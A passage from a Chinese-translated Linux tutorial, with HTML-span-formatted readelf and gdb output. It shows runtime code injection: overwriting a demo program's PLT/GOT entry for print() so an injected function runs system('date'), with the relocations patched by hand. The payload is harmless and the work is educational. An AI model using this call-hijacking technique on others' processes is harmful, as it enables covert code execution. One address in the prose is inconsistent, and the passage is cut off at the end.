<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ readelf </span><span class="pun">-</span><span class="pln">r app</span><span class="typ">Relocation</span><span class="pln"> section </span><span class="pun">‘.</span><span class="pln">rel</span><span class="pun">.</span><span class="pln">dyn</span><span class="pun">’</span><span class="pln"> at offset </span><span class="lit">0</span><span class="pun">×</span><span class="lit">338</span><span class="pln"> contains </span><span class="lit">1</span><span class="pln"> entries</span><span class="pun">:</span><span class="pln"></span><span class="typ">Offset</span><span class="pln"> </span><span class="typ">Info</span><span class="pln"> </span><span class="typ">Type</span><span class="pln"> </span><span class="typ">Sym</span><span class="pun">.</span><span class="typ">Value</span><span class="pln"> </span><span class="typ">Sym</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Name</span><span class="pln"></span><span class="lit">08049678</span><span class="pln"> </span><span class="lit">00000c06</span><span class="pln"> R_386_GLOB_DAT </span><span class="lit">00000000</span><span class="pln"> __gmon_start__</span><span class="typ">Relocation</span><span class="pln"> section </span><span class="pun">‘.</span><span class="pln">rel</span><span class="pun">.</span><span class="pln">plt</span><span class="pun">’</span><span class="pln"> at offset </span><span class="lit">0</span><span class="pun">×</span><span class="lit">340</span><span class="pln"> contains </span><span class="lit">5</span><span class="pln"> entries</span><span class="pun">:</span><span class="pln"></span><span class="typ">Offset</span><span class="pln"> </span><span class="typ">Info</span><span class="pln"> </span><span class="typ">Type</span><span class="pln"> </span><span class="typ">Sym</span><span class="pun">.</span><span class="typ">Value</span><span class="pln"> </span><span class="typ">Sym</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Name</span><span class="pln"></span><span class="lit">08049688</span><span class="pln"> </span><span class="lit">00000107</span><span class="pln"> R_386_JUMP_SLOT </span><span class="lit">00000000</span><span class="pln"> print</span><span class="lit">0804968c</span><span class="pln"> </span><span class="lit">00000207</span><span class="pln"> R_386_JUMP_SLOT </span><span class="lit">00000000</span><span class="pln"> puts</span><span class="lit">08049690</span><span class="pln"> </span><span class="lit">00000407</span><span class="pln"> R_386_JUMP_SLOT </span><span class="lit">00000000</span><span class="pln"> sleep</span><span class="lit">08049694</span><span class="pln"> </span><span class="lit">00000607</span><span class="pln"> R_386_JUMP_SLOT </span><span class="lit">00000000</span><span class="pln"> __libc_start_main</span><span class="lit">08049698</span><span class="pln"> </span><span class="lit">00000c07</span><span class="pln"> R_386_JUMP_SLOT </span><span class="lit">00000000</span><span class="pln"> __gmon_start__</span><span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$</span>

如读者所见,print符号重定位位于app程序的绝对(虚拟)地址0×08049688偏移处,重定位的类型为R_386_JUMP_SLOT。在程序被加载到内存且在运行之前,重定位地址是一个绝对虚拟地址。注意该重定位驻留在程序二进制镜像的.rel.plt段内。PLT即Procedure Linkage Table的缩写,是为函数间接调用提供的表,即在调用一个函数是,不是直接跳转到函数的位置,而是首先跳转到Procedure Linkage Table的入口处,之后再从PLT跳转到函数的实际代码处。如果要调用的函数位于一个动态库中(如本例中的libdynlib.so),那么这种做法是必要的,因为我们不可能提前知道动态库会被加载到进程空间的什么位置,以及动态库中的第一个函数是什么(本位中为print()函数)。所有这些知识只在程序被加载到内存之后且运行之前有效,这时系统的动态链接器(Linux系统中为ld-linux.so)会解决重定位的问题,使请求的函数能够被正确调用。在本文的例子中,动态链接器会将libdynlib.so加载到可执行进程的地址空间,找到print()函数在库中的地址,并将该地址设置为重定位地址0×08049688。

我们的目标是用injection.o目标文件中injection()函数的地址替换print()函数的地址,该函数在程序刚开始运行之初并不包含在它的进程地址空间中。
更多关于ELF格式、重定位以及动态链接器的的信息,读者可以参考Executable and Linkable Format(ELF)文档。

我们可以检查地址0×08049688正是函数print()函数的地址:

<span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> p </span><span class="pun">&</span><span class="pln"> print$3 </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">(*)())</span><span class="pln"> </span><span class="lit">0x50051c</span><span class="pln"> </span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> p</span><span class="pun">/</span><span class="pln">x </span><span class="pun">*</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">08049688</span><span class="pln">$4 </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x50051c</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span>

injection()函数的地址可以通过对injection.o文件运行readelf –s(显示目标文件的符号表)得到:

<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ readelf </span><span class="pun">-</span><span class="pln">s injection</span><span class="pun">.</span><span class="pln">o</span><span class="typ">Symbol</span><span class="pln"> table </span><span class="pun">‘.</span><span class="pln">symtab</span><span class="pun">’</span><span class="pln"> contains </span><span class="lit">11</span><span class="pln"> entries</span><span class="pun">:</span><span class="pln"></span><span class="typ">Num</span><span class="pun">:</span><span class="pln"> </span><span class="typ">Value</span><span class="pln"> </span><span class="typ">Size</span><span class="pln"> </span><span class="typ">Type</span><span class="pln"> </span><span class="typ">Bind</span><span class="pln"> </span><span class="typ">Vis</span><span class="pln"> </span><span class="typ">Ndx</span><span class="pln"> </span><span class="typ">Name</span><span class="pln"></span><span class="lit">0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> NOTYPE LOCAL DEFAULT UND</span><span class="lit">1</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="typ">FILE</span><span class="pln"> LOCAL DEFAULT ABS injection</span><span class="pun">.</span><span class="pln">c</span><span class="lit">2</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SECTION LOCAL DEFAULT </span><span class="lit">1</span><span class="pln"></span><span class="lit">3</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SECTION LOCAL DEFAULT </span><span class="lit">3</span><span class="pln"></span><span class="lit">4</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SECTION LOCAL DEFAULT </span><span class="lit">4</span><span class="pln"></span><span class="lit">5</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SECTION LOCAL DEFAULT </span><span class="lit">5</span><span class="pln"></span><span class="lit">6</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SECTION LOCAL DEFAULT </span><span class="lit">7</span><span class="pln"></span><span class="lit">7</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SECTION LOCAL DEFAULT </span><span class="lit">6</span><span class="pln"></span><span class="lit">8</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">25</span><span class="pln"> FUNC GLOBAL DEFAULT </span><span class="lit">1</span><span class="pln"> injection</span><span class="lit">9</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> NOTYPE GLOBAL DEFAULT UND print</span><span class="lit">10</span><span class="pun">:</span><span class="pln"> </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> NOTYPE GLOBAL DEFAULT UND system</span><span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$</span>

函数(符号)injection位于injection.o文件.text段的偏移0处,但.text段起始于injection.o文件的偏移0×000034处:

<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ sudo readelf </span><span class="pun">-</span><span class="pln">S injection</span><span class="pun">.</span><span class="pln">o</span><span class="typ">There</span><span class="pln"> are </span><span class="lit">11</span><span class="pln"> section headers</span><span class="pun">,</span><span class="pln"> starting at offset </span><span class="lit">0xd4</span><span class="pun">:</span><span class="pln"></span><span class="typ">Section</span><span class="pln"> </span><span class="typ">Headers</span><span class="pun">:</span><span class="pln"></span><span class="pun">[</span><span class="typ">Nr</span><span class="pun">]</span><span class="pln"> </span><span class="typ">Name</span><span class="pln"> </span><span class="typ">Type</span><span class="pln"> </span><span class="typ">Addr</span><span class="pln"> </span><span class="typ">Off</span><span class="pln"> </span><span class="typ">Size</span><span class="pln"> ES </span><span class="typ">Flg</span><span class="pln"> </span><span class="typ">Lk</span><span class="pln"> </span><span class="typ">Inf</span><span class="pln"> </span><span class="typ">Al</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">0</span><span class="pun">]</span><span class="pln"> NULL </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000000</span><span class="pln"> </span><span class="lit">000000</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">1</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">text PROGBITS </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000034</span><span class="pln"> </span><span class="lit">000019</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> AX </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">4</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">2</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">rel</span><span class="pun">.</span><span class="pln">text REL </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000360</span><span class="pln"> </span><span class="lit">000018</span><span class="pln"> </span><span class="lit">08</span><span class="pln"> </span><span class="lit">9</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="lit">4</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">3</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">data PROGBITS </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000050</span><span class="pln"> </span><span class="lit">000000</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> WA </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">4</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">4</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">bss NOBITS </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000050</span><span class="pln"> </span><span class="lit">000000</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> WA </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">4</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">5</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">rodata PROGBITS </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000050</span><span class="pln"> </span><span class="lit">000005</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> A </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">1</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">6</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">comment PROGBITS </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000055</span><span class="pln"> </span><span class="lit">00002d</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">1</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">7</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">note</span><span class="pun">.</span><span class="pln">GNU</span><span class="pun">-</span><span class="typ">stack</span><span class="pln"> PROGBITS </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000082</span><span class="pln"> </span><span class="lit">000000</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">1</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">8</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">shstrtab STRTAB </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">000082</span><span class="pln"> </span><span class="lit">000051</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">1</span><span class="pln"></span><span class="pun">[</span><span class="pln"> </span><span class="lit">9</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">symtab SYMTAB </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">00028c</span><span class="pln"> </span><span class="lit">0000b0</span><span class="pln"> </span><span class="lit">10</span><span class="pln"> </span><span class="lit">10</span><span class="pln"> </span><span class="lit">8</span><span class="pln"> </span><span class="lit">4</span><span class="pln"></span><span class="pun">[</span><span class="lit">10</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.</span><span class="pln">strtab STRTAB </span><span class="lit">00000000</span><span class="pln"> </span><span class="lit">00033c</span><span class="pln"> </span><span class="lit">000024</span><span class="pln"> </span><span class="lit">00</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="lit">1</span><span class="pln"></span><span class="typ">Key</span><span class="pln"> to </span><span class="typ">Flags</span><span class="pun">:</span><span class="pln">W </span><span class="pun">(</span><span class="pln">write</span><span class="pun">),</span><span class="pln"> A </span><span class="pun">(</span><span class="pln">alloc</span><span class="pun">),</span><span class="pln"> X </span><span class="pun">(</span><span class="pln">execute</span><span class="pun">),</span><span class="pln"> M </span><span class="pun">(</span><span class="pln">merge</span><span class="pun">),</span><span class="pln"> S </span><span class="pun">(</span><span class="pln">strings</span><span class="pun">)</span><span class="pln">I </span><span class="pun">(</span><span class="pln">info</span><span class="pun">),</span><span class="pln"> L </span><span class="pun">(</span><span class="pln">link order</span><span class="pun">),</span><span class="pln"> G </span><span class="pun">(</span><span class="pln">group</span><span class="pun">),</span><span class="pln"> x </span><span class="pun">(</span><span class="pln">unknown</span><span class="pun">)</span><span class="pln">O </span><span class="pun">(</span><span class="pln">extra OS processing required</span><span class="pun">)</span><span class="pln"> o </span><span class="pun">(</span><span class="pln">OS specific</span><span class="pun">),</span><span class="pln"> p </span><span class="pun">(</span><span class="pln">processor specific</span><span class="pun">)</span><span class="pln"></span><span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$</span>

7、用injection()函数替换print()函数
这里提醒读者,injection.o文件已经被加载到app进程内存空间的地址0×00111000处(见上文)。因此injection()函数的最终绝对虚拟地址为0×00111000+0×000034.
下面用该地址替换print()函数的重定位地址0×08069688:

<span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> </span><span class="typ">set</span><span class="pln"> </span><span class="pun">*</span><span class="lit">0</span><span class="pun">×</span><span class="lit">08049688</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span>

到这里,我们已经成功用对injection()函数的调用替换了对print()函数的调用。

8、解决injection()函数的重定位

不过我们还有一些工作要做。injection()函数的代码目前还不能运行,因为我们仍有3个重定位没有解决:

<span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ readelf </span><span class="pun">-</span><span class="pln">r injection</span><span class="pun">.</span><span class="pln">o</span><span class="typ">Relocation</span><span class="pln"> section </span><span class="pun">‘.</span><span class="pln">rel</span><span class="pun">.</span><span class="pln">text</span><span class="pun">’</span><span class="pln"> at offset </span><span class="lit">0</span><span class="pun">×</span><span class="lit">360</span><span class="pln"> contains </span><span class="lit">3</span><span class="pln"> entries</span><span class="pun">:</span><span class="pln"></span><span class="typ">Offset</span><span class="pln"> </span><span class="typ">Info</span><span class="pln"> </span><span class="typ">Type</span><span class="pln"> </span><span class="typ">Sym</span><span class="pun">.</span><span class="typ">Value</span><span class="pln"> </span><span class="typ">Sym</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Name</span><span class="pln"></span><span class="lit">00000007</span><span class="pln"> </span><span class="lit">00000902</span><span class="pln"> R_386_PC32 </span><span class="lit">00000000</span><span class="pln"> print</span><span class="lit">0000000e</span><span class="pln"> </span><span class="lit">00000501</span><span class="pln"> R_386_32 </span><span class="lit">00000000</span><span class="pln"> </span><span class="pun">.</span><span class="pln">rodata</span><span class="lit">00000013</span><span class="pln"> </span><span class="lit">00000a02</span><span class="pln"> R_386_PC32 </span><span class="lit">00000000</span><span class="pln"> system</span><span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$</span>

print重定位引用libdynlib.so库中的print()函数调用,.rodata重定位指向保存在.rodata只读数据段的“date”常量字符串(译者注:即system(date)调用中的“date”),system重定位引用系统的system()函数调用。需要注意的是所有这三个重定位是驻留在.rel.text段中的,因此它们的偏移是相对于.text段而言的。

我们需要手动解决以上三个重定位,为这三个内存位置设置适当的地址。程序进程地址空间中的这些重定位地址是通过求和计算出来的:

<span class="pun">(</span><span class="lit">1</span><span class="pun">)</span><span class="pln">injection</span><span class="pun">.</span><span class="pln">o</span><span class="pun">在进程地址空间中的起始地址(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pun">)。</span><span class="pln"></span><span class="pun">(</span><span class="lit">2</span><span class="pun">).</span><span class="pln">text</span><span class="pun">段在</span><span class="pln">injection</span><span class="pun">.</span><span class="pln">o</span><span class="pun">目标文件中的起始偏移量(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pun">)。</span><span class="pln"></span><span class="pun">(</span><span class="lit">3</span><span class="pun">)相对于.</span><span class="pln">text</span><span class="pun">段的重定位偏移量(</span><span class="pln">print</span><span class="pun">为</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00000007</span><span class="pun">,</span><span class="pln"> </span><span class="pun">.</span><span class="pln">rodata</span><span class="pun">为</span><span class="lit">0x0000000e</span><span class="pun">,</span><span class="pln">system</span><span class="pun">为</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00000013</span><span class="pun">)。</span>

可以看到print与system的重定位类型为R_386_PC32,意味着要设置的重定位地址的值应该利用程序计数寄存器PC来计算,这样才是相对于重定位地址的。

(译者注:所谓重定位类型,就是规定了使用何种方式,去计算这个值,具体有哪些变量参与计算如同如何进行计算一样也是不固定的,各种重定位类型有自己的规定。据规范里面的规定,重定位类型R_386_PC32的计算需要有三个变量参与:S,A和P。其计算方式是 S+A-P。根据规范,当R_386_PC32类型的重定位发生在link editor链接若干个.o对象文件从而形成可执行文件的过程中的时候,变量S指代的是被重定位的符号的实际运行时地址,而变量P是重定位所影响到的地址单元的实际运行时地址。在运行于x86架构上的Linux系统中,这两个地址都是虚拟地址。变量A最简单,就是重定位所需要的附加数,它是一个常数。别忘x86架构所使用的重定位条目结构体类型Elf32_Rela,所以附加数就存在于受重定位影响的地址单元中。重定位最后将计算得到的值patch到这个地址单元中。)

R_386_32表示绝对地址的重定位,可以直接使用符号的地址;R_386_PC32表示对相对地址的重定位,要用“符号地址-重定位地址”得出相对地址。
R_386_32 类型规定只是将附加数加上符号的值作为所需要的值,即.rodata的重定位需要在地址0×00111000的基础上加上一个附加数。
计算方法如下:

<span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> p </span><span class="pun">&</span><span class="pln"> system$7 </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> </span><span class="pun">*)</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">733650</span><span class="pln"> </span><span class="com">//system()函数的地址</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> p </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000000013</span><span class="pun">)</span><span class="pln">$8 </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">4</span><span class="pln"> </span><span class="com">// system符号重定位的加数</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> </span><span class="typ">set</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000000013</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">733650</span><span class="pln"> </span><span class="pun">–</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000000013</span><span class="pun">)</span><span class="pln"> </span><span class="pun">–</span><span class="pln"> </span><span class="lit">4</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> p </span><span class="pun">&</span><span class="pln"> print$9 </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">(*)(</span><span class="kwd">void</span><span class="pun">))</span><span class="pln"> </span><span class="lit">0x40000be8</span><span class="pln"> </span><span class="com">// print()函数的地址</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> p </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">0000007</span><span class="pun">)</span><span class="pln">$10 </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">4</span><span class="pln"> </span><span class="com">// print符号重定位的加数</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> </span><span class="typ">set</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">0000007</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x40000be8</span><span class="pln"> </span><span class="pun">–</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">0000007</span><span class="pun">)</span><span class="pln"> </span><span class="pun">–</span><span class="pln"> </span><span class="lit">4</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> p </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0x0000000e</span><span class="pun">)</span><span class="pln">$11 </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> </span><span class="com">// .rodata符号重定位的加数</span><span class="pln"></span><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> </span><span class="typ">set</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000034</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0x0000000e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">00111000</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0</span><span class="pun">×</span><span class="lit">000050</span><span class="pln"></span><span class="com">//0×000050为.rodata 段在injection.o目标文件中的偏移(见上文第6节结尾处)</span>

解决了injection()函数代码中的所有3个重定位,那么要做的准备工作就做完了,可以退出gdb调试器了。应用程序会继续运行,并且在此之后,除了继续之前的打印工作,程序同时还会输出当前的日期。

<span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> qA debugging session is active</span><span class="pun">.</span><span class="pln"></span><span class="typ">Inferior</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="pun">[</span><span class="pln">process </span><span class="lit">25658</span><span class="pun">]</span><span class="pln"> will be detached</span><span class="pun">.</span><span class="pln"></span><span class="typ">Quit</span><span class="pln"> anyway</span><span class="pun">?</span><span class="pln"> </span><span class="pun">(</span><span class="pln">y or n</span><span class="pun">)</span><span class="pln"> y</span><span class="typ">Detaching</span><span class="pln"> from program</span><span class="pun">:</span><span class="pln"> </span><span class="pun">/</span><span class="pln">home</span><span class="pun">/</span><span class="lit">0</span><span class="pun">×</span><span class="lit">80</span><span class="pun">/</span><span class="pln">dynlib</span><span class="pun">/</span><span class="pln">app</span><span class="pun">,</span><span class="pln"> process </span><span class="lit">25658</span><span class="pln"></span><span class="pun">[</span><span class="lit">0x80@localhost</span><span class="pln"> dynlib</span><span class="pun">]</span><span class="pln">$ </span><span class="pun">[</span><span class="pln">lnx63</span><span class="pun">:</span><span class="pln">code_injection</span><span class="pun">]</span><span class="pln"></span><span class="com">// app程序会继续执行</span><span class="pln"></span><span class="typ">Waked</span><span class="pln"> up </span><span class="pun">…</span><span class="pln"></span><span class="typ">Thu</span><span class="pln"> </span><span class="typ">Oct</span><span class="pln"> </span><span class="lit">12</span><span class="pln"> </span><span class="lit">20</span><span class="pun">:</span><span class="lit">09</span><span class="pun">:</span><span class="lit">40</span><span class="pln"> IST </span><span class="lit">2012</span><span class="pln"></span><span class="lit">4</span><span class="pun">:</span><span class="pln"> PID </span><span class="lit">25658</span><span class="pun">:</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"></span><span class="typ">Going</span><span class="pln"> to sleep </span><span class="pun">…</span><span class="pln"></span><span class="typ">Waked</span><span class="pln"> up </span><span class="pun">…</span><span class="pln"></span><span class="typ">Thu</span><span class="pln"> </span><span class="typ">Oct</span><span class="pln"> </span><span class="lit">12</span><span class="pln"> </span><span class="lit">20</span><span class="pun">:</span><span class="lit">09</span><span class="pun">:</span><span class="lit">43</span><span class="pln"> IST </span><span class="lit">2012</span><span class="pln"></span><span class="lit">5</span><span class="pun">:</span><span class="pln"> PID </span><span class="lit">25658</span><span class="pun">:</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"></span><span class="typ">Going</span><span class="pln"> to sleep </span><span class="pun">…</span><span class="pln"></span><span class="typ">Waked</span><span class="pln"> up </span><span class="pun">…</span><span class="pln"></span><span class="typ">Thu</span><span class="pln"> </span><span class="typ">Oct</span><span class="pln"> </span><span class="lit">12</span><span class="pln"> </span><span class="lit">20</span><span class="pun">:</span><span class="lit">09</span><span class="pun">:</span><span class="lit">46</span><span class="pln"> IST </span><span class="lit">2012</span><span class="pln"></span><span class="lit">6</span><span class="pun">:</span><span class="pln"> PID </span><span class="lit">25658</span><span class="pun">:</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"></span><span class="typ">Going</span><span class="pln"> to sleep </span><span class="pun">…</span><span class="pln"></span><span class="typ">Waked</span><span class="pln"> up </span><span class="pun">…</span><span class="pln"></span><span class="typ">Thu</span><span class="pln"> </span><span class="typ">Oct</span><span class="pln"> </span><span class="lit">12</span><span class="pln"> </span><span class="lit">20</span><span class="pun">:</span><span class="lit">09</span><span class="pun">:</span><span class="lit">49</span><span class="pln"> IST </span><span class="lit">2012</span><span class="pln"></span><span class="lit">7</span><span class="pun">:</span><span class="pln"> PID </span><span class="lit">25658</span><span class="pun">:</span><span class="pln"> </span><span 